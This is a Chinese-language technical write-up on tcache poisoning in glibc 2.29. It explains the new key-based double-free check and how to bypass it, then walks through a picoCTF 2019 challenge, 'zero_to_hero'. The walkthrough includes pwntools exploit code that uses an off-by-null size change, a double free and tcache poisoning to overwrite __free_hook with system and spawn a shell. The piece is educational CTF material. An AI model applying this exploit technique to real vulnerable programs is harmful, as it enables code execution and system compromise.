tcache poisoning在glibc2.29中的利用小结
字数 1532 2025-08-24 16:48:07
Glibc 2.29中tcache poisoning利用技术详解
前言
本文详细分析glibc 2.29中tcache机制的防护改进以及如何绕过这些防护进行利用。tcache是glibc 2.26引入的性能优化机制,早期版本缺乏足够的安全检查,使得攻击者可以轻易进行double free等操作。glibc 2.29对tcache增加了新的防护机制,本文将深入分析这些机制及其绕过方法。
Glibc 2.29 tcache新增防护机制
tcache_entry结构体变化
glibc 2.29中,tcache_entry结构体新增了一个key指针:
typedef struct tcache_entry {
struct tcache_entry *next; /* 指向下一个chunk的指针 */
struct tcache_perthread_struct *key; /* 新增的防护指针 */
} tcache_entry;
这个key指针位于原来bk指针的位置,用于检测double free。
tcache_put和tcache_get的变化
当一个chunk被free时,tcache_put会设置key为tcache_perthread_struct的地址:
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
e->key = tcache; // 写入tcache_perthread_struct地址
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
当从tcache分配chunk时,tcache_get会清空key:
static __always_inline void *tcache_get(size_t tc_idx) {
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; // 清空key
return (void *)e;
}
double free检测机制
在_int_free函数中新增了以下检测逻辑:
if (__glibc_unlikely(e->key == tcache)) {
tcache_entry *tmp;
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
触发double free报错的条件是:
e->key == &tcache_perthread_struct- chunk已经在对应大小的tcache链中
绕过防护的思路
思路1:修改key指针
如果有UAF或堆溢出漏洞,可以修改e->key为NULL或其他非tcache_perthread_struct的地址,绕过第一个if判断。
思路2:修改chunk size
利用堆溢出修改chunk的size字段(至少需要off by null能力),使得:
- 第一次free时根据实际size进入对应tcache链
- 修改size后,第二次free时进入不同大小的tcache链
- 由于两次free进入不同链,不会触发double free检测
实际案例分析:picoctf2019 zero_to_hero
程序分析
- 保护机制:Full RELRO, Stack Canary, NX enabled, No PIE
- 漏洞:
- free后未清空指针(UAF)
- 写入description时存在off by null
- 限制:
- 最大分配大小0x408(不超过tcache范围)
- 最多创建7个chunk
利用步骤
-
泄露system地址:程序直接提供了system地址
p.sendlineafter('hero?', 'y') p.recvuntil(': ') system = int(p.recvline().strip(), 16) libc.address = system - libc.symbols['system'] -
布置初始堆布局
- 分配0x58大小的chunk 0
- 分配0x100大小的chunk 1
add(0x58, '0000') # Chunk 0 add(0x100, '1111') # Chunk 1 -
free填充tcache
free(0) # 进入0x60 tcache free(1) # 进入0x110 tcache -
利用off by null修改size
- 重新分配0x58大小,写入
/bin/sh\x00并通过溢出将chunk 1的size从0x111改为0x100
add(0x58, '/bin/sh\x00' + '0'*0x50) # Chunk 0 - 重新分配0x58大小,写入
-
触发double free
- 由于size被修改,可以再次free chunk 1而不触发检测
free(1) # 现在chunk 1同时在0x100和0x110的tcache链中 -
tcache poisoning
- 分配0x100大小并写入
__free_hook地址 - 再分配两次0x100大小,第二次写入system地址到
__free_hook
add(0x100, p64(libc.sym['__free_hook'])) add(0xf0, '1234') add(0xf0, p64(libc.sym['system'])) - 分配0x100大小并写入
-
触发shell
- free含有
/bin/sh\x00的chunk 0
free(0) - free含有
总结
glibc 2.29对tcache的防护主要通过key指针实现double free检测,但通过以下方式可以绕过:
- 修改chunk的size字段,使同一chunk进入不同大小的tcache链
- 需要至少off by null的能力来修改size字段
- 结合UAF或未初始化指针等漏洞完成利用
这种技术在Full RELRO保护下特别有用,因为可以通过修改__free_hook来获得控制流。